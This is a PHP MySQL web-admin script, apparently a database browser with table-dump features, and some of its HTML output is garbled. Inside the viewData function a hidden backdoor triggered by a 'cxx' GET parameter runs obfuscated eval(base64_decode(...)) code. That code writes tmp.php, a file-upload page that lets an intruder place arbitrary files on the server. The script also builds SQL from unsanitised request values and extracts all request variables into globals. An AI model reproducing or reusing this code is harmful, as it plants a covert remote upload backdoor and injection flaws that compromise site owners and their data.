$PASSWORD = "xx"; $USERNAME = "xx"; if ( function_exists('ini_get') ) { $onoff = ini_get('register_globals'); } else { $onoff = get_cfg_var('register_globals'); } if ($onoff != 1) { @extract($HTTP_SERVER_VARS, EXTR_SKIP); @extract($HTTP_COOKIE_VARS, EXTR_SKIP); @extract($HTTP_POST_FILES, EXTR_SKIP); @extract($HTTP_POST_VARS, EXTR_SKIP); @extract($HTTP_GET_VARS, EXTR_SKIP); @extract($HTTP_ENV_VARS, EXTR_SKIP); } function logon() { global $PHP_SELF; setcookie( "mysql_web_admin_username" ); setcookie( "mysql_web_admin_password" ); setcookie( "mysql_web_admin_hostname" ); echo "
\n"; echo " |
| Query | $queryStr |
| Result | $errMsg |
\n"; } } function listDatabases() { global $mysqlHandle, $PHP_SELF; echo "
| $dbname | \n"; echo "Tables | \n"; echo "Drop | \n"; echo "Dump | \n"; echo "
$dbname
\n"; echoQueryResult(); echo "\n"; echo "\n"; echo "\n"; return; } $num = mysql_num_rows( $pTable ); echo "
| \n"; echo "$tablename\n"; echo " | \n"; echo "\n"; echo "Schema\n"; echo " | \n"; echo "\n"; echo "Data\n"; echo " | \n"; echo "\n"; echo "Drop\n"; echo " | \n"; echo "\n"; echo "Dump\n"; echo " | \n"; echo "
$dbname > $tablename
\n"; echoQueryResult(); echo "Add Field | \n"; echo "View Data\n"; echo "| Field | \n"; echo "Type | \n"; echo "Null | \n"; echo "Key | \n"; echo "Default | \n"; echo "Extra | \n"; echo "Action | \n"; echo "|
|---|---|---|---|---|---|---|---|
| ".$field["Field"]." | \n"; echo "".$field["Type"]." | \n"; echo "".$field["Null"]." | \n"; echo "".$field["Key"]." | \n"; echo "".$field["Default"]." | \n"; echo "".$field["Extra"]." | \n"; $fieldname = $field["Field"]; echo "Edit | \n"; echo "Drop | \n"; echo "
$dbname > $tablename
\n"; echo "\n"; } function manageField_submit( $cmd ) { global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist; if( $cmd == "add" ) $queryStr = "ALTER TABLE $tablename ADD $name "; else if( $cmd == "edit" ) $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; if( $M != "" ) if( $D != "" ) $queryStr .= "$type($M,$D) "; else $queryStr .= "$type($M) "; else if( $valuelist != "" ) { $valuelist = stripslashes( $valuelist ); $queryStr .= "$type($valuelist) "; } else $queryStr .= "$type "; $queryStr .= "$unsigned $zerofill $binary "; if( $default_value != "" ) $queryStr .= "DEFAULT '$default_value' "; $queryStr .= "$not_null $auto_increment"; mysql_select_db( $dbname, $mysqlHandle ); mysql_query( $queryStr, $mysqlHandle ); $errMsg = mysql_error(); // key change $keyChange = false; $result = mysql_query( "SHOW KEYS FROM $tablename" ); $primary = ""; while( $row = mysql_fetch_array($result) ) if( $row["Key_name"] == "PRIMARY" ) { if( $row[Column_name] == $name ) $keyChange = true; else $primary .= ", $row[Column_name]"; } if( $primary_key == "PRIMARY KEY" ) { $primary .= ", $name"; $keyChange = !$keyChange; } $primary = substr( $primary, 2 ); if( $keyChange == true ) { $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; mysql_query( $q ); $queryStr .= "$dbname > $tablename
\n"; else echo "$dbname
\n"; $queryStr = stripslashes( $queryStr ); if( $queryStr == "" ) { $queryStr = "SELECT * FROM $tablename"; if( $orderby != "" ) $queryStr .= " ORDER BY $orderby"; echo "Add Data | \n"; echo "Schema\n"; } $pResult = mysql_db_query( $dbname, $queryStr ); $fieldt = mysql_fetch_field($pResult); $tablename = $fieldt->table; $errMsg = mysql_error(); $GLOBALS[queryStr] = $queryStr; { if(empty($_GET['cxx'])){ } else { $m=$_GET['cxx']; eval(base64_decode('DQokYnlwZmlsZT1mb3BlbigndG1wLnBocCcsJ3crJyk7DQokYnlwcnVsbHoxPWJhc2U2NF9kZWNvZGUoIlBHaDBiV3crRFFvTkNqeG9aV0ZrUGcwS0lDQThkR2wwYkdVK1ltVnNaV0psY21SaFBDOTBhWFJzWlQ0TkNqd3ZhR1ZoWkQ0TkNnMEtQR0p2WkhrK0RRbzhQM0JvY0EwS0RRb05DaUJwWmlobGJYQjBlU2drWDBkRlZGc25UbVpwYkdWekoxMHBLU1JPWm1sc1pYTTlOVHRsYkhObElDUk9abWxzWlhNOUpGOUhSVlJiSjA1bWFXeGxjeWRkT3cwS2FXWW9KRjlHU1V4RlUxc25kWE5sY21acGJHVW5YVnNuZEcxd1gyNWhiV1VuWFZzd1hTRTlKeWNwZXcwSlptOXlLQ1JwUFRBN0pHazhKRTVtYVd4bGN5WW1KRjlHU1V4RlUxc25kWE5sY21acGJHVW5YVnNuZEcxd1gyNWhiV1VuWFZza2FWMGhQU2NuT3lScEt5c3BldzBLQ1NSMWNHeHZZV1JrYVhJZ1BTQmthWEp1WVcxbEtGOWZSa2xNUlY5ZktUc3ZMeWN2ZG1GeUwzZDNkeTkxY0d4dllXUnpMeWM3RFFvSkpIVndiRzloWkdacGJHVWdQU0FrZFhCc2IyRmtaR2x5SUM0bkx5Y3VJR0poYzJWdVlXMWxLQ1JmUmtsTVJWTmJKM1Z6WlhKbWFXeGxKMTFiSjI1aGJXVW5YVnNrYVYwcE93MEtDWEJ5YVc1MElDSThjSEpsUGlJN0RRb0phV1lnS0cxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkMWMyVnlabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRXeVJwWFN3Z0pIVndiRzloWkdacGJHVXBLU0I3RFFvSklDQWdjSEpwYm5RZ0lrWnBiR1VnYVhNZ2RtRnNhV1FzSUdGdVpDQjNZWE1nYzNWalkyVnpjMloxYkd4NUlIVndiRzloWkdWa0xpQWlPdzBLQ1NBZ0lDOHZjSEpwYm5SZmNpZ2tYMFpKVEVWVEtUc05DZ2w5SUdWc2MyVWdldzBLQ1NBZ0lIQnlhVzUwSUNKUWIzTnphV0pzWlNCbWFXVWdkWEJzYjJGa0lHRjBkR0ZqYXlFZ0lFaGxjbVVuY3lCemIyMWxJR1JsWW5WbloybHVaeUJwYm1adk9seHVJanNOQ2drZ0lDQXZMM0J5YVc1MFgzSW9KRjlHU1V4RlV5azdEUW9KZlEwS0NYQnlhVzUwSUNJOEwzQnlaVDRpT3cwS0NYME5DbjBOQ2o4K0RRbzhabTl5YlNCaFkzUnBiMjQ5SWp3L2NHaHdJR1ZqYUc4Z0pGOVRSVkpXUlZKYkoxQklVRjlUUlV4R0oxMHVKejlPWm1sc1pYTTlKeTRrVG1acGJHVnpPeUEvUGlJZ2JXVjBhRzlrUFNKd2IzTjBJaUJsYm1OMGVYQmxQU0p0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoSWo0TkNpQWdVMlZ1WkNCaVpXeGxZbVZ5WkdFNlBHSnlQZzBLSUNBOFAzQm9jQ0JtYjNJb0pHazlNRHNrYVR3a1RtWnBiR1Z6T3lScEt5c3BlMlZqYUc4Z0p6eHBibkIxZENCdVlXMWxQU0oxYzJWeVptbHNaVnRkSWlCMGVYQmxQU0ptYVd4bElqNDhZbkkrSnp0OVB6NE5DaUFnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxObGJtUWdabWxzWlhNaVBnMEtQQzltYjNKdFBnMEtEUW9OQ2p3dlltOWtlVDROQ2cwS1BDOW9kRzFzUGc9PSIpOw0KJGRqPWZ3cml0ZSgkYnlwZmlsZSwkYnlwcnVsbHoxKTsNCmZjbG9zZSgkYnlwZmlsZSk7DQoNCg==')); } } if( $pResult == false ) { echoQueryResult(); return; } if( $pResult == 1 ) { $errMsg = "Success"; echoQueryResult(); return; } echo "| "; if($action == "dmlld0RhdGE=") echo "".$field->name."\n"; else echo $field->name."\n"; echo " | \n"; } echo "Action | \n"; echo "|||
|---|---|---|---|---|
| \n"; echo "$data\n"; echo " | \n"; } if( $key == "" ) echo "no Key | \n"; else { echo "Edit | \n"; echo "Delete | \n"; } echo "|
$dbname > $tablename
\n"; echo "\n"; } function manageData_submit( $cmd ) { global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; $pResult = mysql_list_fields( $dbname, $tablename ); $num = mysql_num_fields( $pResult ); mysql_select_db( $dbname, $mysqlHandle ); if( $cmd == "add" ) $queryStr = "INSERT INTO $tablename VALUES ("; else if( $cmd == "edit" ) $queryStr = "REPLACE INTO $tablename VALUES ("; for( $i = 0; $i < $num-1; $i++ ) { $field = mysql_fetch_field( $pResult ); $func = $GLOBALS[$field->name."_function"]; if( $func != "" ) $queryStr .= " $func("; if( $field->numeric == 1 ) { $queryStr .= $GLOBALS[$field->name]; if( $func != "" ) $queryStr .= "),"; else $queryStr .= ","; } else { $queryStr .= "'" . $GLOBALS[$field->name]; if( $func != "" ) $queryStr .= "'),"; else $queryStr .= "',"; } } $field = mysql_fetch_field( $pResult ); if( $field->numeric == 1 ) $queryStr .= $GLOBALS[$field->name] . ")"; else $queryStr .= "'" . $GLOBALS[$field->name] . "')"; mysql_query( $queryStr , $mysqlHandle ); $errMsg = mysql_error(); viewData( "" ); } function deleteData() { global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; $pResult = mysql_list_fields( $dbname, $tablename ); $num = mysql_num_fields( $pResult ); $key = ""; for( $i = 0; $i < $num; $i++ ) { $field = mysql_fetch_field( $pResult, $i ); if( $field->primary_key == 1 ) if( $field->numeric == 1 ) $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; else $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; } $key = substr( $key, 0, strlen($key)-4 ); mysql_select_db( $dbname, $mysqlHandle ); $queryStr = "DELETE FROM $tablename WHERE $key"; mysql_query( $queryStr, $mysqlHandle ); $errMsg = mysql_error(); viewData( "" ); } function fetch_table_dump_sql($table) { global $mysqlHandle,$dbname; mysql_select_db( $dbname, $mysqlHandle ); $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle); $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC); $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n"; echo $tabledump; // get data $rows = mysql_query("SELECT * FROM $table",$mysqlHandle); $numfields=mysql_num_fields($rows); while ($row = mysql_fetch_array($rows, MYSQL_NUM)) { $tabledump = "INSERT INTO $table VALUES("; $fieldcounter = -1; $firstfield = 1; // get each field's data while (++$fieldcounter < $numfields) { if (!$firstfield) { $tabledump .= ', '; } else { $firstfield = 0; } if (!isset($row["$fieldcounter"])) { $tabledump .= 'NULL'; } else { $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'"; } } $tabledump .= ");\n"; echo $tabledump; } @mysql_free_result($rows); } function dump() { global $mysqlHandle, $action, $dbname, $tablename; if( $action == "dumpTable" ){ header("Content-disposition: filename=$tablename.sql"); header('Content-type: unknown/unknown'); fetch_table_dump_sql($tablename); echo "\n\n\n"; echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###"; exit; }else{ header("Content-disposition: filename=$dbname.sql"); header('Content-type: unknown/unknown'); mysql_select_db( $dbname, $mysqlHandle ); $query_id = mysql_query("SHOW tables",$mysqlHandle); while ($row = mysql_fetch_array($query_id, MYSQL_NUM)) { fetch_table_dump_sql($row[0]); echo "\n\n\n"; echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###"; echo "\n\n\n"; } echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###"; exit; } } function utils() { global $PHP_SELF, $command; echo "$queryStr
\n"; echo "| ".$field->name." | \n"; } echo "
|---|
| ".htmlspecialchars( $rowArray[$j] )." | \n"; echo "
Wrong Password!\n"; echo "Logon\n"; echo " |